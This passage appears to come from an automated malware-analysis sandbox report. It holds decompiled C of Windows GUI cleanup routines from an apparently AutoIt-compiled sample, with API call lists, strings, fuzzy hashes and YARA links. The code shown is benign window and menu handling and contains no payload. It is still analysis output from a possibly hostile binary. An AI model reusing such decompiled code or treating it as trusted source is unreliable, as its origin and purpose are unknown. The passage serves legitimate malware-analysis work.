						if(_t345[0x14] != 0) {
							DestroyWindow(_t345[0x14]);
						}
						_t204 = _v96;
						if(_v96 == _t350[7]) {
							_t350[7] = _v100;
						}
						E00D0246D(_t309, _t204);
						_t193 = 1;
						goto L15;
					}
					__eflags = _t198 - 0xc;
					if(__eflags > 0) {
						__eflags = _t198 - 0xe;
						if(_t198 < 0xe) {
							L7:
							DestroyWindow( *_t345);
							goto L8;
						}
						__eflags = _t198 - 0xf;
						if(_t198 <= 0xf) {
							__eflags = _t337 - 0xe;
							if(_t337 != 0xe) {
								L99:
								_t208 = DeleteMenu(_t345[3], _t348, 0);
								__eflags = _t208;
								if(_t208 != 0) {
									_t350 = _v96;
								} else {
									_t350 = _v96;
									DeleteMenu(_t350[0x67], _t348, _t208);
								}
								_t209 = _t350[0x67];
								__eflags = _t209;
								if(_t209 != 0) {
									_t211 = GetMenuItemCount(_t209);
									__eflags = _t211;
									if(_t211 == 0) {
										SetMenu( *_t350, _t211);
										DestroyMenu(_t350[0x67]);
										_t149 =  &(_t350[0x67]);
										 *_t149 = _t350[0x67] & 0x00000000;
										__eflags =  *_t149;
									}
								}
								DrawMenuBar( *_t350);
								goto L9;
							}
							_v52 = 0x30;
							E00D23020( &_v48, 0, 0x2c);
							_v48 = 4;
							_t218 = GetMenuItemInfoW(_t345[3], _t348, 0,  &_v52);
							__eflags = _t218;
							if(_t218 == 0) {
								goto L99;
							}
							_t316 = _v32;
							_v80 = _t316;
							__eflags = _t316;
							if(_t316 == 0) {
								goto L99;
							}
							_t351 = 3;
							__eflags =  *((intOrPtr*)(_t309 + 0x84)) - _t351;
							if( *((intOrPtr*)(_t309 + 0x84)) < _t351) {
								L98:
								_t348 = _a4;
								goto L99;
							} else {
								goto L93;
							}
							do {
								L93:
								_t221 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t351 * 4));
								__eflags = _t221;
								if(_t221 != 0) {
									__eflags =  *((intOrPtr*)(_t221 + 0xc)) - _t316;
									if( *((intOrPtr*)(_t221 + 0xc)) == _t316) {
										__eflags =  *((char*)(_t221 + 0x90)) - 0xf;
										if( *((char*)(_t221 + 0x90)) == 0xf) {
											E00D0246D(_t309, _t351);
											_t316 = _v84;
										}
									}
								}
								_t351 = _t351 + 1;
								__eflags = _t351 -  *((intOrPtr*)(_t309 + 0x84));
							} while (_t351 <=  *((intOrPtr*)(_t309 + 0x84)));
							goto L98;
						}
						__eflags = _t198 - 0x10;
						if(_t198 != 0x10) {
							goto L7;
						}
						__eflags = _t345[0x10];
						if(_t345[0x10] != 0) {
							ImageList_Destroy(_t345[0x10]);
						}
						_t352 = 3;
						__eflags =  *((intOrPtr*)(_t309 + 0x84)) - _t352;
						if( *((intOrPtr*)(_t309 + 0x84)) >= _t352) {
							do {
								_t318 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t352 * 4));
								__eflags = _t318;
								if(_t318 != 0) {
									__eflags =  *((intOrPtr*)(_t318 + 0x34)) -  *_t345;
									if( *((intOrPtr*)(_t318 + 0x34)) ==  *_t345) {
										__eflags =  *((char*)(_t318 + 0x90)) - 0x11;
										if( *((char*)(_t318 + 0x90)) == 0x11) {
											E00D0246D(_t309, _t352);
										}
									}
								}
								_t352 = _t352 + 1;
								__eflags = _t352 -  *((intOrPtr*)(_t309 + 0x84));
							} while (_t352 <=  *((intOrPtr*)(_t309 + 0x84)));
						}
						goto L7;
					}
					if(__eflags == 0) {
						_t353 = 3;
						__eflags =  *(__ecx + 0x84) - _t353;
						if( *(__ecx + 0x84) < _t353) {
							L74:
							_t228 =  *(_t313 + 0x1a0);
							__eflags = _t345[3] - _t228;
							if(_t345[3] != _t228) {
								DestroyMenu(_t345[3]);
								goto L8;
							}
							DestroyMenu(_t228);
							_t350 = _v96;
							_t350[0x68] = _t350[0x68] & 0x00000000;
							goto L9;
						} else {
							goto L66;
						}
						do {
							L66:
							_t320 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t353 * 4));
							__eflags = _t320;
							if(_t320 == 0) {
								goto L72;
							}
							__eflags =  *(_t320 + 0xc) - _t345[3];
							if( *(_t320 + 0xc) != _t345[3]) {
								goto L72;
							}
							_t234 =  *((intOrPtr*)(_t320 + 0x90));
							__eflags = _t234 - 0xf;
							if(_t234 == 0xf) {
								L71:
								E00D0246D(_t309, _t353);
								goto L72;
							}
							__eflags = _t234 - 0xe;
							if(_t234 == 0xe) {
								goto L71;
							}
							 *(_t320 + 0xc) =  *(_t320 + 0xc) & 0x00000000;
							L72:
							_t353 = _t353 + 1;
							__eflags = _t353 -  *((intOrPtr*)(_t309 + 0x84));
						} while (_t353 <=  *((intOrPtr*)(_t309 + 0x84)));
						_t313 = _v96;
						goto L74;
					}
					__eflags = _t198 - 2;
					if(_t198 < 2) {
						goto L7;
					}
					_t354 = 3;
					__eflags = _t198 - _t354;
					if(_t198 <= _t354) {
						_t236 =  *(_t313 + 0x1c4);
						__eflags = _t236;
						if(_t236 > 0) {
							__eflags = _a4 - _t236;
							if(_a4 == _t236) {
								 *(_t313 + 0x1c4) =  *(_t313 + 0x1c4) & 0x00000000;
							}
						}
						goto L7;
					}
					__eflags = _t198 - 0xa;
					if(_t198 == 0xa) {
						_t237 =  *(__ecx + 0x84);
						__eflags = _t237 - _t354;
						if(_t237 < _t354) {
							L60:
							_t338 = _v92;
							 *(_t313 + 0x188) = 0;
							 *((intOrPtr*)(_t313 + 0x18c)) = _t338;
							 *((intOrPtr*)(_t313 + 0x190)) = _t338;
							 *((intOrPtr*)(_t313 + 0x194)) = 0;
							 *((char*)(_t313 + 0x198)) = 0;
							DestroyWindow( *_t345);
							__eflags = _t345[0x10];
							if(_t345[0x10] != 0) {
								ImageList_Destroy(_t345[0x10]);
							}
							goto L8;
						}
						_t346 = _t237;
						do {
							_t243 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t346 * 4));
							__eflags = _t243;
							if(_t243 != 0) {
								__eflags =  *((char*)(_t243 + 0x90)) - 0xb;
								if( *((char*)(_t243 + 0x90)) == 0xb) {
									E00D02C18(_t309, _t346);
								}
							}
							_t346 = _t346 - 1;
							__eflags = _t346 - _t354;
						} while (_t346 >= _t354);
						_t345 = _v80;
						_t313 = _v96;
						goto L60;
					}
					__eflags = _t198 - 0xb;
					if(_t198 != 0xb) {
						goto L7;
					} else {
						_v84 =  *((intOrPtr*)(_t313 + 0x190));
						SendMessageW( *(_t313 + 0x188), 0x1308, _t345[0x24] & 0x000000ff, 0);
						_t325 =  *( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t309 + 0x74)) + E00D025DB(_t309, _v96[0x62]) * 4)))) + 0x40);
						__eflags = _t325;
						if(_t325 != 0) {
							_t275 = _t345[0x22] & 0x0000ffff;
							__eflags = _t275 - _v92;
							if(_t275 != _v92) {
								ImageList_Remove(_t325, _t275);
							}
						}
						__eflags =  *((intOrPtr*)(_t309 + 0x84)) - _t354;
						if( *((intOrPtr*)(_t309 + 0x84)) < _t354) {
							L47:
							_t326 = _v84;
							_t350 = _v96;
							__eflags = (_t345[0x24] & 0x000000ff) - _t326;
							if((_t345[0x24] & 0x000000ff) != _t326) {
								_t350[0x64] = _v92;
								__eflags = _t326 - (_t345[0x24] & 0x000000ff);
								if(_t326 <= (_t345[0x24] & 0x000000ff)) {
									L52:
									_t345[0x24] = 0xff;
									E00D8B958(_t309, _t350, _t326);
									_t350[0x63] = _t350[0x63] - 1;
									_t350[0x65] = _t350[0x65] & 0x00000000;
									goto L9;
								}
								L51:
								__eflags = _t326;
								goto L52;
							}
							__eflags = _t326 - _t350[0x63];
							if(_t326 == _t350[0x63]) {
								goto L51;
							} else {
								goto L52;
							}
						} else {
							goto L33;
						}
						do {
							L33:
							_t328 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t354 * 4));
							__eflags = _t328;
							if(_t328 == 0) {
								goto L46;
							}
							_t259 =  *(_t328 + 0x93);
							__eflags = _t259 - 0xff;
							if(_t259 == 0xff) {
								goto L46;
							}
							_t339 = _t345[0x24];
							__eflags = _t259 - _t339;
							if(__eflags != 0) {
								L39:
								if(__eflags > 0) {
									_t273 = _t259 - 1;
									__eflags = _t273;
									 *(_t328 + 0x93) = _t273;
								}
								_t340 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t354 * 4));
								__eflags =  *((char*)(_t340 + 0x90)) - 0xb;
								if( *((char*)(_t340 + 0x90)) == 0xb) {
									_t329 = _t345[0x22] & 0x0000ffff;
									__eflags = _t329;
									if(_t329 >= 0) {
										_t262 =  *(_t340 + 0x88) & 0x0000ffff;
										__eflags = _t262;
										if(_t262 >= 0) {
											__eflags = _t262 - _t329;
											if(_t262 > _t329) {
												_t263 = _t262 - 1;
												__eflags = _t263;
												_v52 = 2;
												 *(_t340 + 0x88) = _t263;
												_t330 =  *((intOrPtr*)(_t309 + 0x74));
												_v32 =  *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t330 + _t354 * 4)))) + 0x88));
												SendMessageW(_v96[0x62], 0x133d,  *( *((intOrPtr*)( *((intOrPtr*)(_t330 + _t354 * 4)))) + 0x93) & 0x000000ff,  &_v52);
											}
										}
									}
								}
								goto L46;
							}
							__eflags =  *((char*)(_t328 + 0x90)) - 0xb;
							if( *((char*)(_t328 + 0x90)) == 0xb) {
								__eflags = _t259 - _t339;
								goto L39;
							} else {
								E00D02C18(_t309, _t354);
							}
							L46:
							_t354 = _t354 + 1;
							__eflags = _t354 -  *((intOrPtr*)(_t309 + 0x84));
						} while (_t354 <=  *((intOrPtr*)(_t309 + 0x84)));
						goto L47;
					}
				}
				_t278 = _t198 - 0x13;
				if(_t278 == 0) {
					__eflags = _t345[0xe];
					_t355 = ImageList_Destroy;
					if(_t345[0xe] != 0) {
						ImageList_Destroy(_t345[0xe]);
					}
					__eflags = _t345[0xf];
					if(_t345[0xf] != 0) {
						 *_t355(_t345[0xf]);
					}
					_t356 = 3;
					__eflags =  *((intOrPtr*)(_t309 + 0x84)) - _t356;
					if( *((intOrPtr*)(_t309 + 0x84)) >= _t356) {
						do {
							_t341 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t356 * 4));
							__eflags = _t341;
							if(_t341 != 0) {
								_t332 = _v96;
								__eflags =  *((intOrPtr*)(_t341 + 4)) - _t332[1];
								if( *((intOrPtr*)(_t341 + 4)) == _t332[1]) {
									__eflags =  *((char*)(_t341 + 0x90)) - 0x14;
									if( *((char*)(_t341 + 0x90)) == 0x14) {
										__eflags =  *((intOrPtr*)(_t341 + 0x34)) -  *_t345;
										if( *((intOrPtr*)(_t341 + 0x34)) ==  *_t345) {
											E00D02C18(_t309, _t356);
										}
									}
								}
							}
							_t356 = _t356 + 1;
							__eflags = _t356 -  *((intOrPtr*)(_t309 + 0x84));
						} while (_t356 <=  *((intOrPtr*)(_t309 + 0x84)));
					}
					goto L7;
				}
				_t286 = _t278 - 1;
				if(_t286 == 0) {
					_v68 = _t348;
					_v76 = 1;
					_t288 = SendMessageW(_t345[0xd], 0x1053, _v92,  &_v76);
					__eflags = _t288 - _v92;
					if(_t288 == _v92) {
						goto L16;
					}
					SendMessageW(_t345[0xd], 0x1008, _t288, 0);
					goto L8;
				}
				_t291 = _t286;
				if(_t291 == 0) {
					_t358 = 3;
					__eflags =  *(__ecx + 0x84) - _t358;
					if( *(__ecx + 0x84) < _t358) {
						goto L7;
					} else {
						goto L110;
					}
					while(1) {
						L110:
						_t342 =  *( *( *((intOrPtr*)(_t309 + 0x74)) + _t358 * 4));
						__eflags = _t342;
						if(_t342 == 0) {
							goto L115;
						}
						__eflags =  *((intOrPtr*)(_t342 + 4)) -  *((intOrPtr*)(_t313 + 4));
						if( *((intOrPtr*)(_t342 + 4)) !=  *((intOrPtr*)(_t313 + 4))) {
							goto L115;
						}
						__eflags =  *((char*)(_t342 + 0x90)) - 3;
						if( *((char*)(_t342 + 0x90)) != 3) {
							goto L115;
						}
						__eflags = _t342->i - _t345[0xd];
						if(_t342->i != _t345[0xd]) {
							goto L115;
						}
						MoveWindow( *( *( *( *((intOrPtr*)(_t309 + 0x74)) + _t358 * 4))), ( *( *( *((intOrPtr*)(_t309 + 0x74)) + _t358 * 4)))[0x22], ( *( *( *((intOrPtr*)(_t309 + 0x74)) + _t358 * 4)))[0x22],  *(_t334 + 0x8c),  *(_t334 + 0x8e), 0);
						goto L7;
						L115:
						_t358 = _t358 + 1;
						__eflags = _t358 -  *((intOrPtr*)(_t309 + 0x84));
						if(_t358 >  *((intOrPtr*)(_t309 + 0x84))) {
							goto L7;
						}
					}
				}
				_t303 = _t291 - 5;
				if(_t303 != 0) {
					__eflags = _t303 != 0;
					if(_t303 != 0) {
						goto L7;
					}
					E00D8A6C4(__ecx, _t345, _t313);
					goto L8;
				} else {
					E00D01B41(_t313, _t345);
					goto L7;
				}
			}

0x00d02c27
0x00d02c2a
0x00d02c3b
0x00d02ce1
0x00d02ce1
0x00d02cd8
0x00d02cde
0x00d02cde
0x00d02c4c
0x00d02c54
0x00d02c59
0x00d02c60
0x00d02c62
0x00d02c66
0x00d02c6c
0x00d02c72
0x00d3c631
0x00d3ca6d
0x00d02ca8
0x00d02ca8
0x00d02cac
0x00d02cb0
0x00d02ce8
0x00d02ce8
0x00d02cb6
0x00d02cf3
0x00d02cf3
0x00d02cbc
0x00d02cfe
0x00d02cfe
0x00d02cc2
0x00d02d09
0x00d02d09
0x00d02cc4
0x00d02ccb
0x00d02d15
0x00d02d15
0x00d02cd0
0x00d02cd7
0x00000000
0x00d02cd7
0x00d3c637
0x00d3c63a
0x00d3c90f
0x00d3c912
0x00d02ca0
0x00d02ca2
0x00000000
0x00d02ca2
0x00d3c918
0x00d3c91b
0x00d3c976
0x00d3c979
0x00d3c9fa
0x00d3ca00
0x00d3ca06
0x00d3ca08
0x00d3ca1e
0x00d3ca0a
0x00d3ca0c
0x00d3ca16
0x00d3ca16
0x00d3ca22
0x00d3ca28
0x00d3ca2a
0x00d3ca2d
0x00d3ca33
0x00d3ca35
0x00d3ca3a
0x00d3ca46
0x00d3ca4c
0x00d3ca4c
0x00d3ca4c
0x00d3ca4c
0x00d3ca35
0x00d3ca55
0x00000000
0x00d3ca55
0x00d3c981
0x00d3c98c
0x00d3c994
0x00d3c9a7
0x00d3c9ad
0x00d3c9af
0x00000000
0x00000000
0x00d3c9b1
0x00d3c9b5
0x00d3c9b9
0x00d3c9bb
0x00000000
0x00000000
0x00d3c9bf
0x00d3c9c0
0x00d3c9c6
0x00d3c9f7
0x00d3c9f7
0x00000000
0x00000000
0x00000000
0x00000000
0x00d3c9c8
0x00d3c9c8
0x00d3c9ce
0x00d3c9d0
0x00d3c9d2
0x00d3c9d4
0x00d3c9d7
0x00d3c9d9
0x00d3c9e0
0x00d3c9e5
0x00d3c9ea
0x00d3c9ea
0x00d3c9e0
0x00d3c9d7
0x00d3c9ee
0x00d3c9ef
0x00d3c9ef
0x00000000
0x00d3c9c8
0x00d3c91d
0x00d3c920
0x00000000
0x00000000
0x00d3c926
0x00d3c92a
0x00d3c92f
0x00d3c92f
0x00d3c937
0x00d3c938
0x00d3c93e
0x00d3c944
0x00d3c94a
0x00d3c94c
0x00d3c94e
0x00d3c953
0x00d3c955
0x00d3c957
0x00d3c95e
0x00d3c963
0x00d3c963
0x00d3c95e
0x00d3c955
0x00d3c968
0x00d3c969
0x00d3c969
0x00d3c971
0x00000000
0x00d3c93e
0x00d3c640
0x00d3c899
0x00d3c89a
0x00d3c8a0
0x00d3c8df
0x00d3c8df
0x00d3c8e5
0x00d3c8e8
0x00d3c904
0x00000000
0x00d3c904
0x00d3c8eb
0x00d3c8f1
0x00d3c8f5
0x00000000
0x00000000
0x00000000
0x00000000
0x00d3c8a2
0x00d3c8a2
0x00d3c8a8
0x00d3c8aa
0x00d3c8ac
0x00000000
0x00000000
0x00d3c8b1
0x00d3c8b4
0x00000000
0x00000000
0x00d3c8b6
0x00d3c8bc
0x00d3c8be
0x00d3c8ca
0x00d3c8cd
0x00000000
0x00d3c8cd
0x00d3c8c0
0x00d3c8c2
0x00000000
0x00000000
0x00d3c8c4
0x00d3c8d2
0x00d3c8d2
0x00d3c8d3
0x00d3c8d3
0x00d3c8db
0x00000000
0x00d3c8db
0x00d3c646
0x00d3c649
0x00000000
0x00000000
0x00d3c651
0x00d3c652
0x00d3c654
0x00d3c874
0x00d3c87a
0x00d3c87c
0x00d3c882
0x00d3c885
0x00d3c88b
0x00d3c88b
0x00d3c885
0x00000000
0x00d3c87c
0x00d3c65a
0x00d3c65d
0x00d3c7fa
0x00d3c800
0x00d3c802
0x00d3c830
0x00d3c830
0x00d3c836
0x00d3c83c
0x00d3c842
0x00d3c848
0x00d3c84e
0x00d3c856
0x00d3c85c
0x00d3c860
0x00d3c869
0x00d3c869
0x00000000
0x00d3c860
0x00d3c804
0x00d3c806
0x00d3c80c
0x00d3c80e
0x00d3c810
0x00d3c812
0x00d3c819
0x00d3c81e
0x00d3c81e
0x00d3c819
0x00d3c823
0x00d3c824
0x00d3c824
0x00d3c828
0x00d3c82c
0x00000000
0x00d3c82c
0x00d3c663
0x00d3c666
0x00000000
0x00d3c66c
0x00d3c674
0x00d3c68b
0x00d3c6ac
0x00d3c6af
0x00d3c6b1
0x00d3c6b3
0x00d3c6ba
0x00d3c6bf
0x00d3c6c4
0x00d3c6c4
0x00d3c6bf
0x00d3c6ca
0x00d3c6d0
0x00d3c7a5
0x00d3c7ac
0x00d3c7b0
0x00d3c7b4
0x00d3c7b6
0x00d3c7c6
0x00d3c7d3
0x00d3c7d5
0x00d3c7d8
0x00d3c7dc
0x00d3c7e3
0x00d3c7e8
0x00d3c7ee
0x00000000
0x00d3c7ee
0x00d3c7d7
0x00d3c7d7
0x00000000
0x00d3c7d7
0x00d3c7b8
0x00d3c7be
0x00000000
0x00d3c7c0
0x00000000
0x00d3c7c0
0x00000000
0x00000000
0x00000000
0x00d3c6d6
0x00d3c6d6
0x00d3c6dc
0x00d3c6de
0x00d3c6e0
0x00000000
0x00000000
0x00d3c6e6
0x00d3c6ec
0x00d3c6ee
0x00000000
0x00000000
0x00d3c6f4
0x00d3c6fa
0x00d3c6fc
0x00d3c716
0x00d3c716
0x00d3c718
0x00d3c718
0x00d3c71a
0x00d3c71a
0x00d3c726
0x00d3c728
0x00d3c72f
0x00d3c731
0x00d3c738
0x00d3c73b
0x00d3c73d
0x00d3c744
0x00d3c747
0x00d3c749
0x00d3c74c
0x00d3c74e
0x00d3c74e
0x00d3c74f
0x00d3c757
0x00d3c75e
0x00d3c76d
0x00d3c792
0x00d3c792
0x00d3c74c
0x00d3c747
0x00d3c73b
0x00000000
0x00d3c72f
0x00d3c6fe
0x00d3c705
0x00d3c714
0x00000000
0x00d3c707
0x00d3c70a
0x00d3c70a
0x00d3c798
0x00d3c798
0x00d3c799
0x00d3c799
0x00000000
0x00d3c6d6
0x00d3c666
0x00d02c78
0x00d02c7b
0x00d3cb48
0x00d3cb4c
0x00d3cb52
0x00d3cb57
0x00d3cb57
0x00d3cb59
0x00d3cb5d
0x00d3cb62
0x00d3cb62
0x00d3cb66
0x00d3cb67
0x00d3cb6d
0x00d3cb73
0x00d3cb79
0x00d3cb7b
0x00d3cb7d
0x00d3cb7f
0x00d3cb86
0x00d3cb89
0x00d3cb8b
0x00d3cb92
0x00d3cb97
0x00d3cb99
0x00d3cb9e
0x00d3cb9e
0x00d3cb99
0x00d3cb92
0x00d3cb89
0x00d3cba3
0x00d3cba4
0x00d3cba4
0x00d3cbac
0x00000000
0x00d3cb6d
0x00d02c81
0x00d02c82
0x00d3cb0b
0x00d3cb1a
0x00d3cb2a
0x00d3cb2c
0x00d3cb30
0x00000000
0x00000000
0x00d3cb41
0x00000000
0x00d3cb41
0x00d02c89
0x00d02c8a
0x00d3ca90
0x00d3ca91
0x00d3ca97
0x00000000
0x00000000
0x00000000
0x00000000
0x00d3ca9d
0x00d3ca9d
0x00d3caa3
0x00d3caa5
0x00d3caa7
0x00000000
0x00000000
0x00d3caac
0x00d3caaf
0x00000000
0x00000000
0x00d3cab1
0x00d3cab8
0x00000000
0x00000000
0x00d3cabc
0x00d3cabf
0x00000000
0x00000000
0x00d3caed
0x00000000
0x00d3caf8
0x00d3caf8
0x00d3caf9
0x00d3caff
0x00000000
0x00000000
0x00d3cb05
0x00d3ca9d
0x00d02c90
0x00d02c93
0x00d3ca79
0x00d3ca7a
0x00000000
0x00000000
0x00d3ca84
0x00000000
0x00d02c99
0x00d02c9b
0x00000000
0x00d02c9b

APIs

DestroyWindow.USER32(?,?,?), ref: 00D02CA2
DeleteObject.GDI32(00000000), ref: 00D02CE8
DeleteObject.GDI32(00000000), ref: 00D02CF3
DestroyIcon.USER32(00000000,?,?,?), ref: 00D02CFE
DestroyWindow.USER32(00000000,?,?,?), ref: 00D02D09
SendMessageW.USER32(?,00001308,?,00000000), ref: 00D3C68B
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00D3C6C4
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00D3CAED

Part of subcall function 00D01B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00D02036,?,00000000,?,?,?,?,00D016CB,00000000,?), ref: 00D01B9A

SendMessageW.USER32(?,00001053), ref: 00D3CB2A
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00D3CB41
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00D3CB57
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00D3CB62

Strings

0, xrefs: 00D3C981

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 61dd32dee53eac0f4e8dc816992a36e4c76997f1945e8568621b67be335af047
Instruction ID: 37c0a46168c541aed3ba59a07b20924dac42d8ce7ef7220263ee16f2e3106b46
Opcode Fuzzy Hash: 61dd32dee53eac0f4e8dc816992a36e4c76997f1945e8568621b67be335af047
Instruction Fuzzy Hash: E2129C30611201EFDB20CF24C889BA9B7E5FF05315F585569E889EB2A2C731EC51CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D8AB60, Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00D8AB99
SetTextColor.GDI32(?,?), ref: 00D8AB9D
GetSysColorBrush.USER32(0000000F), ref: 00D8ABB3
GetSysColor.USER32(0000000F), ref: 00D8ABBE
CreateSolidBrush.GDI32(?), ref: 00D8ABC3
GetSysColor.USER32(00000011), ref: 00D8ABDB
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00D8ABE9
SelectObject.GDI32(?,00000000), ref: 00D8ABFA
SetBkColor.GDI32(?,00000000), ref: 00D8AC03
SelectObject.GDI32(?,?), ref: 00D8AC10
InflateRect.USER32(?,000000FF,000000FF), ref: 00D8AC2F
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00D8AC46
GetWindowLongW.USER32(00000000,000000F0), ref: 00D8AC5B
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00D8ACA7
GetWindowTextW.USER32 ref: 00D8ACCE
InflateRect.USER32(?,000000FD,000000FD), ref: 00D8ACEC
DrawFocusRect.USER32 ref: 00D8ACF7
GetSysColor.USER32(00000011), ref: 00D8AD05
SetTextColor.GDI32(?,00000000), ref: 00D8AD0D
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00D8AD21
SelectObject.GDI32(?,00D8A869), ref: 00D8AD38
DeleteObject.GDI32(?), ref: 00D8AD43
SelectObject.GDI32(?,?), ref: 00D8AD49
DeleteObject.GDI32(?), ref: 00D8AD4E
SetTextColor.GDI32(?,?), ref: 00D8AD54
SetBkColor.GDI32(?,?), ref: 00D8AD5E

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 5c757b9c3d057b1d3b0d1c732740ff19c83baf00dc8a0becc0bdea7173541df5
Instruction ID: ac5eabaec973ccac43be0c972cf1a57f7dea26150b436e5e5923583c5735bdab
Opcode Fuzzy Hash: 5c757b9c3d057b1d3b0d1c732740ff19c83baf00dc8a0becc0bdea7173541df5
Instruction Fuzzy Hash: 68615E71910218EFEF119FA8DC48EAE7B79EB08720F244126F915EB2A1D7759D40DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D027D9, Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 00D20FF6: _malloc.LIBCMT ref: 00D2100E

SystemParametersInfoW.USER32 ref: 00D028BC
GetSystemMetrics.USER32 ref: 00D028C4
SystemParametersInfoW.USER32 ref: 00D028EF
GetSystemMetrics.USER32 ref: 00D028F7
GetSystemMetrics.USER32 ref: 00D0291C
SetRect.USER32 ref: 00D02939
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00D02949
CreateWindowExW.USER32 ref: 00D0297C
SetWindowLongW.USER32 ref: 00D02990
GetClientRect.USER32 ref: 00D029AE
GetStockObject.GDI32(00000011), ref: 00D029CA
SendMessageW.USER32(00000000,00000030,00000000), ref: 00D029D5

Part of subcall function 00D02344: GetCursorPos.USER32(?), ref: 00D02357
Part of subcall function 00D02344: ScreenToClient.USER32 ref: 00D02374
Part of subcall function 00D02344: GetAsyncKeyState.USER32(00000001), ref: 00D02399
Part of subcall function 00D02344: GetAsyncKeyState.USER32(00000002), ref: 00D023A7

SetTimer.USER32(00000000,00000000,00000028,Function_00001256), ref: 00D029FC

Strings

AutoIt v3 GUI, xrefs: 00D02974

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer_malloc
String ID: AutoIt v3 GUI
API String ID: 1557154100-248962490
Opcode ID: 566c8b02de947f68d83477b8b1a3f74443eaa2ae629bab1b59377ec54fe4a688
Instruction ID: 4d24c27946671fb9873936a0710651ae9677bdcc9bd27bce664b2a3d96aa44f1
Opcode Fuzzy Hash: 566c8b02de947f68d83477b8b1a3f74443eaa2ae629bab1b59377ec54fe4a688
Instruction Fuzzy Hash: 7EB13B7561120AAFDB14DF68DC49BAE7BA4FB08314F108529FA15E72D0DB74E850CB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D15F88, Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 00D07D2C: _memmove.LIBCMT ref: 00D07D66

GetForegroundWindow.USER32(00D8F910,?,?,?,?,?), ref: 00D16042
IsWindow.USER32(?), ref: 00D50FFA

Strings

ALL, xrefs: 00D50F61
INSTANCE, xrefs: 00D50F39
CLASS, xrefs: 00D50E24
TITLE, xrefs: 00D50F8F
REGEXPCLASS, xrefs: 00D50E45
LAST, xrefs: 00D50DB1
ACTIVE, xrefs: 00D50DC7
REGEXPTITLE, xrefs: 00D50DF3
HANDLE, xrefs: 00D50DDD

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: f6c9c95176c67ac2bf4249d0491a627c8536e86e867eb2854af31164ceb62fe7
Instruction ID: ce506f998ed919afcea859a99ac9c683f4a4c579675e1f73e4a7e098a3973b85
Opcode Fuzzy Hash: f6c9c95176c67ac2bf4249d0491a627c8536e86e867eb2854af31164ceb62fe7
